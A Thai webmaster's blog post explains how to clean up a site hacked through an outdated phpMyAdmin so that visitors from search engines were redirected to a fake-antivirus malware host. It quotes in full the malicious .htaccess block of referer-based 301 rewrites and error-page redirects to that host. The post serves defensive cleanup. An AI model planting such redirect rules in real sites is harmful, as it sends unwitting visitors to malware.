การแก้ปัญหาเบื้องต้นจากการโดน Redirect ไปที่ http://seishell-inoa.ru/wings/index.php

การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php

หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว
สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย
โดยมีสรุป เป็นปีๆ ได้ดังนี้
http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html
และอันนี้เป็นอันรวมว่ามีรูรั่วตรงไหนบ้าง
http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html

ทั้งหมดจะเป็นประเภท XSS หมดเลยครับ

วิธีการแก้ปัญหา
ก่อนทำอะไร Backup DB ไว้ก่อนดีที่สุดครับ

1. จัดการตัวการเจ้าปัญหาเสียก่อน โดยทำการลบ phpMyAdmin version ที่รั่วทิ้ง จากนั้นไป Load Version ใหม่ ได้ที่ http://www.phpmyadmin.net/home_page/index.php

2. ให้ทำการตรวจสอบข้อมูลใน Table เราก่อนว่ามี Script ที่เกิดจากการใช้ SQL Injection อะไรหรือเปล่า โดยหลักจะผมจะ Search หาคำว่า </SCRIPT>, script , java , void ด้วย Keyword เหล่านี้ แต่หาจากทุก Table ใน ทุกๆ Field ใน Database นั้นๆ (มีเครื่องมือที่ http://anywhereindb.googlecode.com เป็นไฟล์ php หรือจะใช้ ค้นหา ใน phpmyadmin ก็ได้ครับ) เมื่อเจอ Code Java ประหลาด ๆ (ที่ไม่ได้เกิดจากที่ App เราเขียนนะครับ) ก็ลบออก
(ใน Case ของผมมี 2 – 3 จุดครับ แต่ก็ยังไม่หาย ยังคง Redirect ต่อเนื่อง – -” คิดว่างานมาละ )

3. สำหรับ Case ที่ Redirect ไปหน้า http://seishell-inoa.ru/wings/index.php จะเกิดจากการโดนแก้ไข File .htaccess ที่ root Directory ของ Website ของเราโดยจะโดนแก้ไขให้เป็นดังนี้ครับ

RewriteEngine On
ErrorDocument 400 http://seishell-inoa.ru/wings/index.php
ErrorDocument 401 http://seishell-inoa.ru/wings/index.php
ErrorDocument 403 http://seishell-inoa.ru/wings/index.php
ErrorDocument 404 http://seishell-inoa.ru/wings/index.php
ErrorDocument 500 http://seishell-inoa.ru/wings/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://seishell-inoa.ru/wings/index.php [R=301,L]

ถ้าเปิดแล้วไม่เจอ ลองเลื่อน Scrollbar ดูทั้ง ด้านข้างและด้านล่างนะครับ เพราะการเขียน Code พวกนี้จะทิ้ง Space ไว้ เพื่อให้เราเปิดไม่เจอด้วย

จาก .htaccess เราจะพบว่า ผู้ใช้คนไหนก็แล้วแต่ที่มาจาก Search engine ต่างๆ หรือ Social Network เข้ามาปุ๊ปให้ Redirect ไปที่ http://seishell-inoa.ru/wings/index.php แบบ 301 (moved to a new location, permanently) และ หน้า Error ที่เกิดขึ้นใน Web ของเราก็ให้ Redirect ไปเช่นกัน
เมื่อเห็นดังนี้แล้วก็ให้ลบ Rewrite Condition ด้านบนทิ้งแล้วก็ Save Upload เก็บไว้ที่เดิมครับ

อันนี้เป็นการแก้ไขปัญหาเบื้องต้นก่อน เพราะว่า ผมยังไม่รู้ว่า ที่มันรั่วมันรั่วมาจาก phpMyAdmin หรือเปล่า ถ้ามี Update จะมาเล่าสุ่กันฟังต่อไปครับ

Leave a Reply